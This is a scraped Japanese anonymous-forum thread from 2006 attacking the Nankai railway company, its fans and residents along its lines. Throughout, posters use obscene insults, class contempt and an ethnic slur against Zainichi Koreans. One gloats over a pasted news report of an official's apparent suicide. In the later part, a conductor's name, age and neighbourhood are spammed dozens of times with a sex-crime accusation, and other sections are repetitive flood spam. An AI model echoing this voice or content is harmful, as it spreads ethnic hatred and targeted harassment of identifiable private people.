中南海ヲタクコソコソすんじゃねぇお○んこ野郎南海ヲタぁー♪♪バカやろう、なにが6000マンセーだ、おらぁ、南海ヲタぁーお○んこ野郎南海ヲタぁー♪♪ざまぁみろベイベー 優秀な人材は、そもそも教育水準が低く低
学歴の南海沿線から輩出される確率が低い上に、たとえ突然変異で生まれたとしても、会社として将来性も魅力もない南海には行かない。結局、南海沿線に残るのは、地元の低学歴・低脳な人間のみで、これでは会社を変え

るような優秀な人材はまったく入社しない。これが現実。優秀な人材は、そもそも教育水準が低く低学歴の南海沿線から輩出される確率が低い上に、たとえ突然変異で生まれたとしても、会社として将来性も魅力もない南海
には行かない。結局、南海沿線に残るのは、地元の低学歴・低脳な人間のみで、これでは会社を変えるような優秀な人材はまったく入社しない。これが現実。近鉄沿線で大阪南部に住んでいる俺でさえ、関空より伊丹空港の
ほうが行きやすくて便利。それだけ関空は意味不明な場所にある。関空なんかに多額の税金を投入して救済するのは、全く金のムダ！伊丹に負けて、ろくに経営が成り立たないなら、とっとと潰しちゃえよ。

社内がしょんべん臭かったさすがに別車両のったが最悪だな6400系

昨日昼過ぎ車掌台前で聞こえてきた通話「南海線****列車車掌、こちら南海指令、どうぞ。」「えー****号車と****号車の間の渡り板に大便がしてあり、かなり臭います。どうぞ。」トイレなし車だから究極の選択をしたの
だろうか…

やっぱ民度が低い地区の人間は、やることなすこと全てがしょぼいな＜和歌山談合＞元県出納長が南海電車にはねられ死亡和歌山県発注の土木工事を巡る談合事件で、大阪地検特捜部が任意で事情を聴いていた中西伸雄・元
県出納長（７１）が８日午後、和歌山市内で南海電鉄の電車にはねられて死亡した。和歌山県警は自殺とみている。中西元出納長は、談合事件で業者と県をつなぐ役割を果たしていたとして逮捕されたゴルフ場経営会社元社
長の井山義一容疑者（５６）や木村良樹知事（５４）と懇意で、地元業者の談合に強い影響力を持っていたとされる。県警和歌山北署の調べでは、中西元出納長は８日午後０時２０分ごろ、和歌山市栄谷の南海本線踏切（遮
断機、警報機付き）で普通電車にはねられた。踏切内に立っているのを、運転士が約５０メートル手前で発見したが間に合わなかった。搬送先の病院で出血性ショックによる死亡が確認された。中西元出納長は１９５３年、
県職員になり、仮谷志良元知事（故人）の下で、秘書課長や商工労働部長、知事公室長など要職を歴任。県を退職後、県信用保証協会理事長を経て、先月末まで県内最大手ゼネコン「浅川組」（本社・和歌山市）の副社長を
務めていた。また、井山容疑者が実質経営するゴルフ場経営会社の役員にもなっていた。関係者によると、任意の事情聴取を２回受けたという。浅川組は先月１９日、競売入札妨害容疑で特捜部から家宅捜索を受けた。下水
道工事を巡る競売入札妨害容疑で再逮捕された元県出納長の水谷聡明容疑者（６０）は県職員時代の部下。出納長時代は、県総務部長だった木村知事とともに幹部として県政運営に携わった。▽大阪地検・吉川興治次席検事
の話亡くなられた経緯など詳細は承知しておりませんが、ご冥福を心よりお祈りしております。11月8日19時59分更新南海ヲタは在日朝鮮人低学歴の巣窟・南海沿線関西の負け組・南海沿線名前：名無し野電車区[]投稿日：2
006/11/06(月)23:50:38ID:FeLVn3RW未だにオンボロ片開き扉車が主力の情けない大手私鉄は？名前：名無し野電車区[]投稿日：2006/11/06(月)23:51:17ID:FeLVn3RW東証一部に上場してない情けない大手私鉄は？南海もそろ

そろ合併相手を探すべきだな。子会社スレだが、これは本当か？ttp://hobby7.2ch.net/test/read.cgi/rail/1162140072/5757名前：名無し野電車区ﾒｪﾙ：sage投稿日：2006/11/06(月)15:48:24ID:h3nkdOE7社会実験で、子会
社の乗客が35%も増えたというのを聞いた親会社が、その分親会社の乗客が減った筈だから補填しろと喚いているらしい。子会社と沿線自治体を恫喝しますかそうですか自助努力皆無、後ろ向き経営、減便ダイヤの情けない
南海wyxeて何？てか11時発のサザンのたが、クーラーがんがんかけてる死ね南海基地外南海め寒いんじゃよjrみたいに足下と屋根についてる箇所から暖房だせやうぜーーーーーだからオンボロなんじゃよ暖房かけてる車両み
たことないがかけることあるんかよw赤字やから寒さをprしてるんか？>361そんなんもわからんのかい、低脳南海ヲタ。ttp://hobby7.2ch.net/test/read.cgi/rail/1160669897/156>>375泉北高速も阪急阪神（東宝）グループ
になったらおもしろいだろうな。［東急サザン｜新津］

泉北高速が阪急阪神の傘下になるといいなあ。ついでに堺市や和泉市も出資したらな…南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南
海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろ
い南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海は
ぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南
海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろ
い南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海は

ぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南
海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろ
い南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海は
ぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南海はぼろい南
海はぼろい南海はぼろい>605南海赤字なのに?

未だにオンボロ片開き扉車が主力の情けない大手私鉄は？ 東証一部に上場してない情けない大手私鉄は？未だにオンボロ片開き扉車が主力の情けない大手私鉄は？

南海ｵﾜﾀ＼(^o^)／

南海はいらない子

有馬で強制わいせつとかで捕まった車掌と同じ名前の車掌が先日、乗務してましたがもう復帰させてもらったのかな？それとも他の同名も人なのか？>712その処分の甘さが南海クオリティ南海電鉄の運転士上野敦弘（34）＝
大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者

犯罪者でも、ネコ採用なので首にできませんそれが南海クオリティ未だにオンボロ片開き扉車が主力の情けない大手私鉄は？東証一部に上場してない情けない大手私鉄は？高野線監禁強制わいせつ犯罪者車掌喜多信也（33）
＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘
を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海
監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車
掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山
県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務さ
せる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制
わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信
也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市

紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情けない南海監禁強制わいせつ犯罪者車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘を乗務させる情け
ない南

海

>737和歌山なら阪和線使え

hosyu

朝の南海和歌山市だが、和歌山市に電車が入って降りてから和歌山連絡線に乗り換える時間がかなり短い。
社長！無駄なお願いかもしれんが、もう少し乗り換える時間キボンヌ。
いつもダッシュして乗り換えるのはもう無理ぽ（・ω・｀）